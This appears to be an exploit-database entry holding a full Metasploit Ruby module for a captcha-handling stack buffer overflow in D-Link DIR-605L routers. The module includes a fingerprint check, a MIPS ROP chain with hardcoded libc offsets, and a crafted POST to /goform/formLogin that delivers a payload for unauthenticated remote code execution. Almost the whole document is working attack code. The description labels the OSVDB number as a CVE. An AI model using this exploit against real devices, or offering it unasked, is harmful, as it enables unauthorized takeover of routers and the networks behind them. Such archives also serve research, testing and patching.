ID

VAR-E-201310-0226

EDB ID

29127

TITLE

D-Link DIR-605L - Captcha Handling Buffer Overflow (Metasploit) - Hardware remote Exploit

DESCRIPTION

D-Link DIR-605L - Captcha Handling Buffer Overflow (Metasploit). CVE-86824 . remote exploit for Hardware platform

AFFECTED PRODUCTS

EXPLOIT

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking # Because only has been tested on a QEMU emulated environment

HttpFingerprint = { :pattern => [ /Boa/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DIR-605L Captcha Handling Buffer Overflow',
'Description' => %q{
This module exploits an anonymous remote code execution on D-Link DIR-605L routers. The
vulnerability exists while handling user supplied captcha information, and is due to the
insecure usage of sprintf on the getAuthCode() function. This module has been tested
successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment.
},
'Author' =>
[
'Craig Heffner', # Vulnerability discovery, original exploit
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Space' => 3000,
'BadChars' => "\x00\x67\x26\x2b"
},
'Platform' => ['linux'],
'Arch' => ARCH_MIPSBE,
'References' =>
[
[ 'OSVDB', '86824' ],
[ 'URL', 'http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/' ]
],
'Targets' =>
[
[ 'DLink DIR-605L 1.13',
{
'Offset' => 94,
'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner
'ApmibBase' => 0x2aaef000, # According to Original Exploit by Craig Heffner
#'LibcBase' => 0x4212e000, # QEMU environment
#'ApmibBase' => 0x42095000, # QEMU environment
#LOAD:000248D4 li $a0, 1 ; set $a0 for the sleep() call
#LOAD:000248D8 move $t9, $s1 ; $s1 is controlled after the overflow
#LOAD:000248DC jalr $t9
'Ret' => 0x248D4, # from libc
#LOAD:0002B954 move $t9, $s2 # Controlled
#LOAD:0002B958 lw $ra, 0x30+var_4($sp) # allows to get controlled $ra from the stack
#LOAD:0002B95C lw $s4, 0x30+var_8($sp)
#LOAD:0002B960 lw $s3, 0x30+var_C($sp)
#LOAD:0002B964 lw $s2, 0x30+var_10($sp)
#LOAD:0002B968 lw $s1, 0x30+var_14($sp) # allows to get controlled $s1 from the stack
#LOAD:0002B96C lw $s0, 0x30+var_18($sp)
#LOAD:0002B970 jr $t9
'RopJmpSleep' => 0x2B954, # from libc
'RopSleep' => 0x23D30, # from libc # Sleep Function Address # sleep() to flush the data cache
#LOAD:000027E8 move $t9, $s1 # Controlled
#LOAD:000027EC jalr $t9 ; sub_22D0
#LOAD:000027F0 addiu $a2, $sp, 0x40+var_24 ; put pointer to the stack on $a2 # executed because of pipelining
'RopPtrStack' => 0x027E8, # from apmi
#LOAD:00001D78 move $t9, $a2 ; $a2 contains a poiner to the stack
#LOAD:00001D7C jalr $t9
'RopJmpStack' => 0x01D78 # from apmi
}
]
],
'DisclosureDate' => 'Oct 08 2012',
'DefaultTarget' => 0))

end

def check
res = send_request_cgi({ 'uri' => '/comm.asp' })
if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

def exploit

shellcode = ""
shellcode << rand_text(target['Offset']) # Padding
shellcode << rand_text(4) # $s0
shellcode << [target['LibcBase'] + target['RopJmpSleep']].pack("N") # $s1
shellcode << [target['LibcBase'] + target['RopSleep']].pack("N") # $s2
shellcode << rand_text(4) # $s3
shellcode << [target['LibcBase'] + target.ret].pack("N") # $ra
shellcode << rand_text(0x1c) # filler
shellcode << rand_text(4) # $s0
shellcode << [target['ApmibBase'] + target['RopJmpStack']].pack("N") # $s1
shellcode << rand_text(4) # $s2
shellcode << rand_text(4) # $s3
shellcode << rand_text(4) # $s4
shellcode << [target['ApmibBase'] + target['RopPtrStack']].pack("N") # $ra
shellcode << rand_text(0x1c) # filler
shellcode << payload.encoded # shellcode

print_status("#{peer} - Sending exploit...")

send_request_cgi({
'method' => 'POST',
'uri' => "/goform/formLogin",
'encode_params' => false,
'vars_post' => {
'VERIFICATION_CODE' => 'myvoiceismypassportverifyme',
'VER_CODE' => '1234',
'login_n' => 'admin',
'FILECODE' => shellcode,
'curTime' => '1348588030496',
'login_pass' => 'Zm9vb255b3UA',
'login_name' => 'admin'
}
})

end

end

EXPLOIT LANGUAGE

rb

PRICE

free

TYPE

Captcha Handling Buffer Overflow (Metasploit)

TAGS

CREDITS

Metasploit

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2022-07-27T09:35:29.586000+00:00

SOURCES RELEASE DATE